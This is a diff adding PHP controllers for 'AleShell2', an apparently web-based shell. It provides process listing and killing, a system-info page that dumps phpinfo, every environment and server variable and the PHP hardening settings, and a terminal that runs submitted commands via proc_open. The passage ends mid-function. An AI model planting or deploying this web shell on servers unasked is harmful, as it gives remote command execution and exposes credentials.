||||
/**
|
||||
* List processes
|
||||
*/
|
||||
public function list(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$search = $request->post('search', '');
|
||||
$sortBy = $request->post('sort', 'cpu');
|
||||
$sortOrder = $request->post('order', 'desc');
|
||||
|
||||
try {
|
||||
$processes = $this->getProcessList($search, $sortBy, $sortOrder);
|
||||
$this->success($response, ['processes' => $processes]);
|
||||
} catch (\Exception $e) {
|
||||
$this->error($response, 'Failed to list processes: ' . $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Kill process
|
||||
*/
|
||||
public function kill(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$pids = $request->post('pids');
|
||||
$signal = (int)$request->post('signal', 15); // SIGTERM
|
||||
|
||||
if (empty($pids)) {
|
||||
$this->error($response, 'PID is required');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!is_array($pids)) {
|
||||
$pids = [$pids];
|
||||
}
|
||||
|
||||
$killed = [];
|
||||
$failed = [];
|
||||
|
||||
foreach ($pids as $pid) {
|
||||
$pid = (int)$pid;
|
||||
|
||||
if ($pid <= 0) {
|
||||
$failed[] = ['pid' => $pid, 'error' => 'Invalid PID'];
|
||||
continue;
|
||||
}
|
||||
|
||||
// Don't allow killing init or critical system processes
|
||||
if ($pid === 1) {
|
||||
$failed[] = ['pid' => $pid, 'error' => 'Cannot kill init process'];
|
||||
continue;
|
||||
}
|
||||
|
||||
if (function_exists('posix_kill')) {
|
||||
if (posix_kill($pid, $signal)) {
|
||||
$killed[] = $pid;
|
||||
} else {
|
||||
$failed[] = ['pid' => $pid, 'error' => posix_strerror(posix_get_last_error())];
|
||||
}
|
||||
} else {
|
||||
// Fallback to shell command
|
||||
$result = shell_exec("kill -{$signal} {$pid} 2>&1");
|
||||
if ($result === null || $result === '') {
|
||||
$killed[] = $pid;
|
||||
} else {
|
||||
$failed[] = ['pid' => $pid, 'error' => trim($result)];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$this->success($response, [
|
||||
'killed' => $killed,
|
||||
'failed' => $failed,
|
||||
], count($killed) . ' process(es) killed');
|
||||
}
|
||||
|
||||
/**
|
||||
* Get process list
|
||||
*/
|
||||
private function getProcessList(string $search = '', string $sortBy = 'cpu', string $sortOrder = 'desc'): array
|
||||
{
|
||||
$processes = [];
|
||||
$maxProcesses = $this->config['limits']['max_processes'] ?? 1000;
|
||||
|
||||
// Try using /proc filesystem (Linux)
|
||||
if (is_dir('/proc')) {
|
||||
$processes = $this->getProcessesFromProc();
|
||||
} else {
|
||||
// Fallback to ps command
|
||||
$processes = $this->getProcessesFromPs();
|
||||
}
|
||||
|
||||
// Filter by search
|
||||
if (!empty($search)) {
|
||||
$search = strtolower($search);
|
||||
$processes = array_filter($processes, function ($p) use ($search) {
|
||||
return stripos($p['name'], $search) !== false
|
||||
|| stripos($p['command'], $search) !== false
|
||||
|| (string)$p['pid'] === $search;
|
||||
});
|
||||
}
|
||||
|
||||
// Sort
|
||||
usort($processes, function ($a, $b) use ($sortBy, $sortOrder) {
|
||||
$result = match ($sortBy) {
|
||||
'pid' => $a['pid'] <=> $b['pid'],
|
||||
'cpu' => $a['cpu'] <=> $b['cpu'],
|
||||
'memory' => $a['memory'] <=> $b['memory'],
|
||||
'name' => strcasecmp($a['name'], $b['name']),
|
||||
default => $a['cpu'] <=> $b['cpu'],
|
||||
};
|
||||
|
||||
return $sortOrder === 'desc' ? -$result : $result;
|
||||
});
|
||||
|
||||
return array_slice(array_values($processes), 0, $maxProcesses);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get processes from /proc filesystem
|
||||
*/
|
||||
private function getProcessesFromProc(): array
|
||||
{
|
||||
$processes = [];
|
||||
|
||||
$dirs = glob('/proc/[0-9]*', GLOB_ONLYDIR);
|
||||
|
||||
foreach ($dirs as $dir) {
|
||||
$pid = (int)basename($dir);
|
||||
|
||||
// Read process info
|
||||
$statusFile = "{$dir}/status";
|
||||
$statFile = "{$dir}/stat";
|
||||
$cmdlineFile = "{$dir}/cmdline";
|
||||
|
||||
if (!file_exists($statusFile)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$status = @file_get_contents($statusFile);
|
||||
$stat = @file_get_contents($statFile);
|
||||
$cmdline = @file_get_contents($cmdlineFile);
|
||||
|
||||
if ($status === false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse status
|
||||
$name = '';
|
||||
$uid = 0;
|
||||
$vmRss = 0;
|
||||
|
||||
if (preg_match('/^Name:\s*(.+)$/m', $status, $m)) {
|
||||
$name = trim($m[1]);
|
||||
}
|
||||
if (preg_match('/^Uid:\s*(\d+)/m', $status, $m)) {
|
||||
$uid = (int)$m[1];
|
||||
}
|
||||
if (preg_match('/^VmRSS:\s*(\d+)/m', $status, $m)) {
|
||||
$vmRss = (int)$m[1] * 1024; // Convert to bytes
|
||||
}
|
||||
|
||||
// Parse stat for CPU info
|
||||
$cpu = 0;
|
||||
if ($stat) {
|
||||
$statParts = explode(' ', $stat);
|
||||
if (count($statParts) > 13) {
|
||||
// utime + stime
|
||||
$utime = (int)$statParts[13];
|
||||
$stime = (int)$statParts[14];
|
||||
$totalTime = $utime + $stime;
|
||||
|
||||
// This is a simplified CPU calculation
|
||||
$cpu = round($totalTime / 100, 1);
|
||||
}
|
||||
}
|
||||
|
||||
// Get command line
|
||||
$command = $cmdline ? str_replace("\0", ' ', trim($cmdline)) : $name;
|
||||
|
||||
// Get user
|
||||
$user = 'unknown';
|
||||
if (function_exists('posix_getpwuid')) {
|
||||
$pwinfo = posix_getpwuid($uid);
|
||||
if ($pwinfo) {
|
||||
$user = $pwinfo['name'];
|
||||
}
|
||||
}
|
||||
|
||||
// Calculate memory percentage
|
||||
$totalMem = $this->getMemoryInfo()['total'] ?? 1;
|
||||
$memPercent = $totalMem > 0 ? round(($vmRss / $totalMem) * 100, 1) : 0;
|
||||
|
||||
$processes[] = [
|
||||
'pid' => $pid,
|
||||
'name' => $name,
|
||||
'command' => strlen($command) > 100 ? substr($command, 0, 100) . '...' : $command,
|
||||
'user' => $user,
|
||||
'cpu' => $cpu,
|
||||
'memory' => $memPercent,
|
||||
'memory_bytes' => $vmRss,
|
||||
'status' => 'running',
|
||||
];
|
||||
}
|
||||
|
||||
return $processes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get processes from ps command
|
||||
*/
|
||||
private function getProcessesFromPs(): array
|
||||
{
|
||||
$processes = [];
|
||||
|
||||
// Use ps command with portable options
|
||||
$output = shell_exec('ps aux 2>/dev/null');
|
||||
|
||||
if (!$output) {
|
||||
return $processes;
|
||||
}
|
||||
|
||||
$lines = explode("\n", trim($output));
|
||||
array_shift($lines); // Remove header
|
||||
|
||||
foreach ($lines as $line) {
|
||||
$parts = preg_split('/\s+/', trim($line), 11);
|
||||
|
||||
if (count($parts) < 11) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$processes[] = [
|
||||
'pid' => (int)$parts[1],
|
||||
'name' => basename($parts[10]),
|
||||
'command' => strlen($parts[10]) > 100 ? substr($parts[10], 0, 100) . '...' : $parts[10],
|
||||
'user' => $parts[0],
|
||||
'cpu' => (float)$parts[2],
|
||||
'memory' => (float)$parts[3],
|
||||
'memory_bytes' => 0,
|
||||
'status' => 'running',
|
||||
];
|
||||
}
|
||||
|
||||
return $processes;
|
||||
}
|
||||
}
|
||||
355
src/Modules/System/SystemController.php
Archivo normal
355
src/Modules/System/SystemController.php
Archivo normal
@@ -0,0 +1,355 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 System Controller
|
||||
*
|
||||
* Handles system information module.
|
||||
*
|
||||
* @package AleShell2\Modules\System
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\System;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class SystemController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show system info
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->render($response, 'modules.system', [
|
||||
'currentModule' => 'system',
|
||||
'pageTitle' => 'System Info - AleShell2',
|
||||
'systemInfo' => $this->getSystemInfo(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get system information via API
|
||||
*/
|
||||
public function info(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->success($response, $this->getSystemInfo());
|
||||
}
|
||||
|
||||
/**
|
||||
* Get PHP information
|
||||
*/
|
||||
public function phpinfo(Request $request, Response $response, array $params): void
|
||||
{
|
||||
ob_start();
|
||||
phpinfo();
|
||||
$info = ob_get_clean();
|
||||
|
||||
$response->html($info);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get environment variables
|
||||
*/
|
||||
public function environment(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$env = [];
|
||||
|
||||
foreach ($_ENV as $key => $value) {
|
||||
$env[$key] = $value;
|
||||
}
|
||||
|
||||
foreach ($_SERVER as $key => $value) {
|
||||
if (is_string($value)) {
|
||||
$env[$key] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
ksort($env);
|
||||
|
||||
$this->success($response, ['environment' => $env]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get PHP extensions
|
||||
*/
|
||||
public function extensions(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$extensions = get_loaded_extensions();
|
||||
sort($extensions);
|
||||
|
||||
$detailed = [];
|
||||
foreach ($extensions as $ext) {
|
||||
$detailed[$ext] = phpversion($ext) ?: 'unknown';
|
||||
}
|
||||
|
||||
$this->success($response, ['extensions' => $detailed]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Collect all system information
|
||||
*/
|
||||
private function getSystemInfo(): array
|
||||
{
|
||||
return [
|
||||
'server' => $this->getServerInfo(),
|
||||
'php' => $this->getPhpInfo(),
|
||||
'hardware' => $this->getHardwareInfo(),
|
||||
'disk' => $this->getDiskInfo(),
|
||||
'network' => $this->getBasicNetworkInfo(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server information
|
||||
*/
|
||||
private function getServerInfo(): array
|
||||
{
|
||||
return [
|
||||
'hostname' => gethostname() ?: 'unknown',
|
||||
'os' => PHP_OS_FAMILY,
|
||||
'os_detail' => php_uname(),
|
||||
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
|
||||
'server_name' => $_SERVER['SERVER_NAME'] ?? 'unknown',
|
||||
'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'unknown',
|
||||
'server_port' => $_SERVER['SERVER_PORT'] ?? 'unknown',
|
||||
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'unknown',
|
||||
'current_user' => get_current_user(),
|
||||
'current_uid' => getmyuid(),
|
||||
'current_gid' => getmygid(),
|
||||
'process_id' => getmypid(),
|
||||
'uptime' => $this->getUptime(),
|
||||
'load_average' => $this->getLoadAverage(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get PHP information
|
||||
*/
|
||||
private function getPhpInfo(): array
|
||||
{
|
||||
return [
|
||||
'version' => PHP_VERSION,
|
||||
'version_id' => PHP_VERSION_ID,
|
||||
'sapi' => PHP_SAPI,
|
||||
'ini_path' => php_ini_loaded_file() ?: 'unknown',
|
||||
'extension_dir' => ini_get('extension_dir'),
|
||||
'include_path' => get_include_path(),
|
||||
'memory_limit' => ini_get('memory_limit'),
|
||||
'max_execution_time' => ini_get('max_execution_time'),
|
||||
'max_input_time' => ini_get('max_input_time'),
|
||||
'post_max_size' => ini_get('post_max_size'),
|
||||
'upload_max_filesize' => ini_get('upload_max_filesize'),
|
||||
'max_file_uploads' => ini_get('max_file_uploads'),
|
||||
'display_errors' => ini_get('display_errors'),
|
||||
'error_reporting' => error_reporting(),
|
||||
'date_timezone' => date_default_timezone_get(),
|
||||
'open_basedir' => ini_get('open_basedir') ?: 'none',
|
||||
'disabled_functions' => ini_get('disable_functions') ?: 'none',
|
||||
'disabled_classes' => ini_get('disable_classes') ?: 'none',
|
||||
'safe_mode' => ini_get('safe_mode') ? 'on' : 'off',
|
||||
'allow_url_fopen' => ini_get('allow_url_fopen') ? 'on' : 'off',
|
||||
'allow_url_include' => ini_get('allow_url_include') ? 'on' : 'off',
|
||||
'zend_version' => zend_version(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get hardware information
|
||||
*/
|
||||
private function getHardwareInfo(): array
|
||||
{
|
||||
$info = [
|
||||
'cpu' => 'unknown',
|
||||
'cpu_cores' => 'unknown',
|
||||
'memory_total' => 'unknown',
|
||||
'memory_free' => 'unknown',
|
||||
'memory_used' => 'unknown',
|
||||
];
|
||||
|
||||
// CPU info
|
||||
if (is_readable('/proc/cpuinfo')) {
|
||||
$cpuinfo = file_get_contents('/proc/cpuinfo');
|
||||
if (preg_match('/model name\s*:\s*(.+)/i', $cpuinfo, $matches)) {
|
||||
$info['cpu'] = trim($matches[1]);
|
||||
}
|
||||
$info['cpu_cores'] = substr_count($cpuinfo, 'processor');
|
||||
} elseif (PHP_OS_FAMILY === 'Darwin') {
|
||||
$info['cpu'] = trim(shell_exec('sysctl -n machdep.cpu.brand_string 2>/dev/null') ?: 'unknown');
|
||||
$info['cpu_cores'] = (int)trim(shell_exec('sysctl -n hw.ncpu 2>/dev/null') ?: '0');
|
||||
}
|
||||
|
||||
// Memory info
|
||||
if (is_readable('/proc/meminfo')) {
|
||||
$meminfo = file_get_contents('/proc/meminfo');
|
||||
if (preg_match('/MemTotal:\s*(\d+)\s*kB/i', $meminfo, $matches)) {
|
||||
$info['memory_total'] = $this->formatBytes((int)$matches[1] * 1024);
|
||||
}
|
||||
if (preg_match('/MemFree:\s*(\d+)\s*kB/i', $meminfo, $matches)) {
|
||||
$memFree = (int)$matches[1] * 1024;
|
||||
$info['memory_free'] = $this->formatBytes($memFree);
|
||||
}
|
||||
if (preg_match('/MemAvailable:\s*(\d+)\s*kB/i', $meminfo, $matches)) {
|
||||
$info['memory_available'] = $this->formatBytes((int)$matches[1] * 1024);
|
||||
}
|
||||
} elseif (PHP_OS_FAMILY === 'Darwin') {
|
||||
$totalMem = (int)trim(shell_exec('sysctl -n hw.memsize 2>/dev/null') ?: '0');
|
||||
$info['memory_total'] = $this->formatBytes($totalMem);
|
||||
}
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get disk information
|
||||
*/
|
||||
private function getDiskInfo(): array
|
||||
{
|
||||
$disks = [];
|
||||
|
||||
// Current disk
|
||||
$path = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
|
||||
$totalSpace = @disk_total_space($path);
|
||||
$freeSpace = @disk_free_space($path);
|
||||
|
||||
$disks[] = [
|
||||
'mount' => $path,
|
||||
'total' => $totalSpace ? $this->formatBytes($totalSpace) : 'unknown',
|
||||
'free' => $freeSpace ? $this->formatBytes($freeSpace) : 'unknown',
|
||||
'used' => ($totalSpace && $freeSpace) ? $this->formatBytes($totalSpace - $freeSpace) : 'unknown',
|
||||
'percent_used' => ($totalSpace && $freeSpace) ? round(($totalSpace - $freeSpace) / $totalSpace * 100, 2) . '%' : 'unknown',
|
||||
];
|
||||
|
||||
// Get all mount points on Linux
|
||||
if (PHP_OS_FAMILY === 'Linux') {
|
||||
$df = shell_exec('df -h 2>/dev/null');
|
||||
if ($df) {
|
||||
$lines = explode("\n", trim($df));
|
||||
array_shift($lines); // Remove header
|
||||
|
||||
foreach ($lines as $line) {
|
||||
$parts = preg_split('/\s+/', $line);
|
||||
if (count($parts) >= 6 && strpos($parts[0], '/dev/') === 0) {
|
||||
$disks[] = [
|
||||
'device' => $parts[0],
|
||||
'total' => $parts[1],
|
||||
'used' => $parts[2],
|
||||
'free' => $parts[3],
|
||||
'percent_used' => $parts[4],
|
||||
'mount' => $parts[5],
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $disks;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get basic network information
|
||||
*/
|
||||
private function getBasicNetworkInfo(): array
|
||||
{
|
||||
$info = [
|
||||
'hostname' => gethostname(),
|
||||
'ip_addresses' => [],
|
||||
];
|
||||
|
||||
// Get IP addresses
|
||||
$hostname = gethostname();
|
||||
if ($hostname) {
|
||||
$ips = gethostbynamel($hostname);
|
||||
if ($ips) {
|
||||
$info['ip_addresses'] = $ips;
|
||||
}
|
||||
}
|
||||
|
||||
// Add server IP
|
||||
if (!empty($_SERVER['SERVER_ADDR'])) {
|
||||
$info['server_ip'] = $_SERVER['SERVER_ADDR'];
|
||||
}
|
||||
|
||||
// Get interfaces on Linux
|
||||
if (PHP_OS_FAMILY === 'Linux') {
|
||||
$interfaces = shell_exec('ip -o addr show 2>/dev/null | grep -v "127.0.0.1"');
|
||||
if ($interfaces) {
|
||||
$info['interfaces'] = trim($interfaces);
|
||||
}
|
||||
}
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get system uptime
|
||||
*/
|
||||
private function getUptime(): string
|
||||
{
|
||||
if (is_readable('/proc/uptime')) {
|
||||
$uptime = (float)explode(' ', file_get_contents('/proc/uptime'))[0];
|
||||
return $this->formatUptime($uptime);
|
||||
}
|
||||
|
||||
if (PHP_OS_FAMILY === 'Darwin') {
|
||||
$boottime = shell_exec('sysctl -n kern.boottime 2>/dev/null');
|
||||
if (preg_match('/sec = (\d+)/', $boottime, $matches)) {
|
||||
$uptime = time() - (int)$matches[1];
|
||||
return $this->formatUptime($uptime);
|
||||
}
|
||||
}
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Format uptime seconds to human readable
|
||||
*/
|
||||
private function formatUptime(float $seconds): string
|
||||
{
|
||||
$days = floor($seconds / 86400);
|
||||
$hours = floor(($seconds % 86400) / 3600);
|
||||
$minutes = floor(($seconds % 3600) / 60);
|
||||
|
||||
$parts = [];
|
||||
if ($days > 0) $parts[] = "{$days}d";
|
||||
if ($hours > 0) $parts[] = "{$hours}h";
|
||||
if ($minutes > 0) $parts[] = "{$minutes}m";
|
||||
|
||||
return implode(' ', $parts) ?: '< 1m';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get load average
|
||||
*/
|
||||
private function getLoadAverage(): array
|
||||
{
|
||||
if (function_exists('sys_getloadavg')) {
|
||||
$load = sys_getloadavg();
|
||||
if ($load !== false) {
|
||||
return [
|
||||
'1min' => round($load[0], 2),
|
||||
'5min' => round($load[1], 2),
|
||||
'15min' => round($load[2], 2),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return ['1min' => 'unknown', '5min' => 'unknown', '15min' => 'unknown'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Format bytes to human readable
|
||||
*/
|
||||
private function formatBytes(int $bytes, int $precision = 2): string
|
||||
{
|
||||
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
|
||||
|
||||
for ($i = 0; $bytes > 1024 && $i < count($units) - 1; $i++) {
|
||||
$bytes /= 1024;
|
||||
}
|
||||
|
||||
return round($bytes, $precision) . ' ' . $units[$i];
|
||||
}
|
||||
}
|
||||
452
src/Modules/Terminal/TerminalController.php
Archivo normal
452
src/Modules/Terminal/TerminalController.php
Archivo normal
@@ -0,0 +1,452 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Terminal Controller
|
||||
*
|
||||
* Handles terminal module.
|
||||
*
|
||||
* @package AleShell2\Modules\Terminal
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Terminal;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
use AleShell2\Core\Application;
|
||||
|
||||
class TerminalController extends BaseController
|
||||
{
|
||||
/**
|
||||
* Show terminal
|
||||
*/
|
||||
public function index(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->render($response, 'modules.terminal', [
|
||||
'currentModule' => 'terminal',
|
||||
'pageTitle' => 'Terminal - AleShell2',
|
||||
'currentPath' => getcwd(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute command
|
||||
*/
|
||||
public function execute(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$command = trim($request->post('command', ''));
|
||||
$workingDir = $request->post('cwd', getcwd());
|
||||
|
||||
if (empty($command)) {
|
||||
$this->error($response, 'Command is required');
|
||||
return;
|
||||
}
|
||||
|
||||
// Add to history
|
||||
$this->addToHistory($command);
|
||||
|
||||
// Check if it's a built-in command
|
||||
if ($this->isBuiltinCommand($command)) {
|
||||
$result = $this->executeBuiltin($command, $workingDir);
|
||||
} else {
|
||||
// Check if command is allowed
|
||||
if (!$this->isCommandAllowed($command)) {
|
||||
$this->error($response, 'This command is not allowed');
|
||||
return;
|
||||
}
|
||||
|
||||
$result = $this->executeSystemCommand($command, $workingDir);
|
||||
}
|
||||
|
||||
$this->success($response, $result);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get command history
|
||||
*/
|
||||
public function history(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$app = Application::getInstance();
|
||||
$session = $app->getSession();
|
||||
|
||||
$history = $session->get('terminal_history', []);
|
||||
$maxHistory = $this->config['limits']['max_history'] ?? 100;
|
||||
|
||||
$this->success($response, [
|
||||
'history' => array_slice($history, -$maxHistory),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear command history
|
||||
*/
|
||||
public function clear(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$app = Application::getInstance();
|
||||
$session = $app->getSession();
|
||||
|
||||
$session->remove('terminal_history');
|
||||
|
||||
$this->success($response, null, 'History cleared');
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if command is a built-in
|
||||
*/
|
||||
private function isBuiltinCommand(string $command): bool
|
||||
{
|
||||
$builtins = ['cd', 'pwd', 'clear', 'history', 'help', 'exit', 'whoami', 'id'];
|
||||
$parts = explode(' ', trim($command));
|
||||
return in_array($parts[0], $builtins, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute built-in command
|
||||
*/
|
||||
private function executeBuiltin(string $command, string $workingDir): array
|
||||
{
|
||||
$parts = explode(' ', trim($command));
|
||||
$cmd = $parts[0];
|
||||
|
||||
return match ($cmd) {
|
||||
'cd' => $this->cmdCd($parts, $workingDir),
|
||||
'pwd' => $this->cmdPwd($workingDir),
|
||||
'clear' => $this->cmdClear(),
|
||||
'history' => $this->cmdHistory(),
|
||||
'help' => $this->cmdHelp(),
|
||||
'exit' => $this->cmdExit(),
|
||||
'whoami' => $this->cmdWhoami(),
|
||||
'id' => $this->cmdId(),
|
||||
default => [
|
||||
'output' => "Unknown built-in command: {$cmd}",
|
||||
'exit_code' => 1,
|
||||
'cwd' => $workingDir,
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* CD command
|
||||
*/
|
||||
private function cmdCd(array $parts, string $currentDir): array
|
||||
{
|
||||
$app = Application::getInstance();
|
||||
$session = $app->getSession();
|
||||
|
||||
$target = $parts[1] ?? ($_SERVER['HOME'] ?? '/');
|
||||
|
||||
// Handle special cases
|
||||
if ($target === '-') {
|
||||
$target = $session->get('terminal_prev_dir', $currentDir);
|
||||
} elseif ($target === '~') {
|
||||
$target = $_SERVER['HOME'] ?? '/root';
|
||||
}
|
||||
|
||||
// Resolve relative paths
|
||||
if ($target[0] !== '/') {
|
||||
$target = rtrim($currentDir, '/') . '/' . $target;
|
||||
}
|
||||
|
||||
$realTarget = realpath($target);
|
||||
|
||||
if ($realTarget === false || !is_dir($realTarget)) {
|
||||
return [
|
||||
'output' => "cd: {$target}: No such directory",
|
||||
'exit_code' => 1,
|
||||
'cwd' => $currentDir,
|
||||
];
|
||||
}
|
||||
|
||||
if (!$this->isPathAllowed($realTarget)) {
|
||||
return [
|
||||
'output' => "cd: {$target}: Permission denied",
|
||||
'exit_code' => 1,
|
||||
'cwd' => $currentDir,
|
||||
];
|
||||
}
|
||||
|
||||
// Store previous directory
|
||||
$session->set('terminal_prev_dir', $currentDir);
|
||||
|
||||
return [
|
||||
'output' => '',
|
||||
'exit_code' => 0,
|
||||
'cwd' => $realTarget,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* PWD command
|
||||
*/
|
||||
private function cmdPwd(string $currentDir): array
|
||||
{
|
||||
return [
|
||||
'output' => $currentDir,
|
||||
'exit_code' => 0,
|
||||
'cwd' => $currentDir,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear command
|
||||
*/
|
||||
private function cmdClear(): array
|
||||
{
|
||||
return [
|
||||
'output' => '',
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
'clear' => true,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* History command
|
||||
*/
|
||||
private function cmdHistory(): array
|
||||
{
|
||||
$app = Application::getInstance();
|
||||
$session = $app->getSession();
|
||||
|
||||
$history = $session->get('terminal_history', []);
|
||||
$output = '';
|
||||
|
||||
foreach (array_slice($history, -50) as $i => $cmd) {
|
||||
$output .= sprintf("%4d %s\n", $i + 1, $cmd);
|
||||
}
|
||||
|
||||
return [
|
||||
'output' => $output ?: 'No history',
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Help command
|
||||
*/
|
||||
private function cmdHelp(): array
|
||||
{
|
||||
$help = <<<HELP
|
||||
AleShell2 Terminal - Available Commands
|
||||
|
||||
Built-in Commands:
|
||||
cd [dir] Change directory
|
||||
pwd Print working directory
|
||||
clear Clear terminal screen
|
||||
history Show command history
|
||||
help Show this help message
|
||||
whoami Show current user
|
||||
id Show user ID info
|
||||
exit Exit info
|
||||
|
||||
System Commands:
|
||||
All standard Unix/Linux commands are available.
|
||||
|
||||
Keyboard Shortcuts:
|
||||
Up/Down Navigate command history
|
||||
Ctrl+L Clear screen
|
||||
Ctrl+C Cancel current input
|
||||
Tab Auto-complete (when available)
|
||||
|
||||
Notes:
|
||||
- Some commands may be restricted for security
|
||||
- Long-running commands have a timeout limit
|
||||
- Binary output will be truncated
|
||||
|
||||
HELP;
|
||||
|
||||
return [
|
||||
'output' => $help,
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Exit command
|
||||
*/
|
||||
private function cmdExit(): array
|
||||
{
|
||||
return [
|
||||
'output' => "Use the logout button to exit the shell.",
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Whoami command
|
||||
*/
|
||||
private function cmdWhoami(): array
|
||||
{
|
||||
$user = get_current_user() ?: (posix_getpwuid(posix_geteuid())['name'] ?? 'unknown');
|
||||
|
||||
return [
|
||||
'output' => $user,
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* ID command
|
||||
*/
|
||||
private function cmdId(): array
|
||||
{
|
||||
if (function_exists('posix_getuid')) {
|
||||
$uid = posix_getuid();
|
||||
$gid = posix_getgid();
|
||||
$user = posix_getpwuid($uid)['name'] ?? 'unknown';
|
||||
$group = posix_getgrgid($gid)['name'] ?? 'unknown';
|
||||
$output = "uid={$uid}({$user}) gid={$gid}({$group})";
|
||||
} else {
|
||||
$output = "id: POSIX functions not available";
|
||||
}
|
||||
|
||||
return [
|
||||
'output' => $output,
|
||||
'exit_code' => 0,
|
||||
'cwd' => getcwd(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute system command
|
||||
*/
|
||||
private function executeSystemCommand(string $command, string $workingDir): array
|
||||
{
|
||||
if (!$this->isPathAllowed($workingDir)) {
|
||||
return [
|
||||
'output' => "Permission denied: Cannot execute in this directory",
|
||||
'exit_code' => 1,
|
||||
'cwd' => $workingDir,
|
||||
];
|
||||
}
|
||||
|
||||
$timeout = $this->config['limits']['command_timeout'] ?? 30;
|
||||
$originalDir = getcwd();
|
||||
|
||||
try {
|
||||
// Change to working directory
|
||||
if (!chdir($workingDir)) {
|
||||
throw new \Exception("Cannot change to directory: {$workingDir}");
|
||||
}
|
||||
|
||||
// Set up process
|
||||
$descriptorSpec = [
|
||||
0 => ['pipe', 'r'], // stdin
|
||||
1 => ['pipe', 'w'], // stdout
|
||||
2 => ['pipe', 'w'], // stderr
|
||||
];
|
||||
|
||||
$env = $_ENV;
|
||||
$env['PATH'] = '/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin';
|
||||
$env['HOME'] = $_SERVER['HOME'] ?? '/root';
|
||||
$env['TERM'] = 'xterm-256color';
|
||||
|
||||
$process = proc_open($command, $descriptorSpec, $pipes, $workingDir, $env);
|
||||
|
||||
if (!is_resource($process)) {
|
||||
throw new \Exception('Failed to execute command');
|
||||
}
|
||||
|
||||
// Close stdin
|
||||
fclose($pipes[0]);
|
||||
|
||||
// Set non-blocking mode
|
||||
stream_set_blocking($pipes[1], false);
|
||||
stream_set_blocking($pipes[2], false);
|
||||
|
||||
// Read output with timeout
|
||||
$output = '';
|
||||
$error = '';
|
||||
$startTime = time();
|
||||
$maxOutput = 1024 * 1024; // 1MB limit
|
||||
|
||||
while (time() - $startTime < $timeout) {
|
||||
$stdout = stream_get_contents($pipes[1]);
|
||||
$stderr = stream_get_contents($pipes[2]);
|
||||
|
||||
if ($stdout) $output .= $stdout;
|
||||
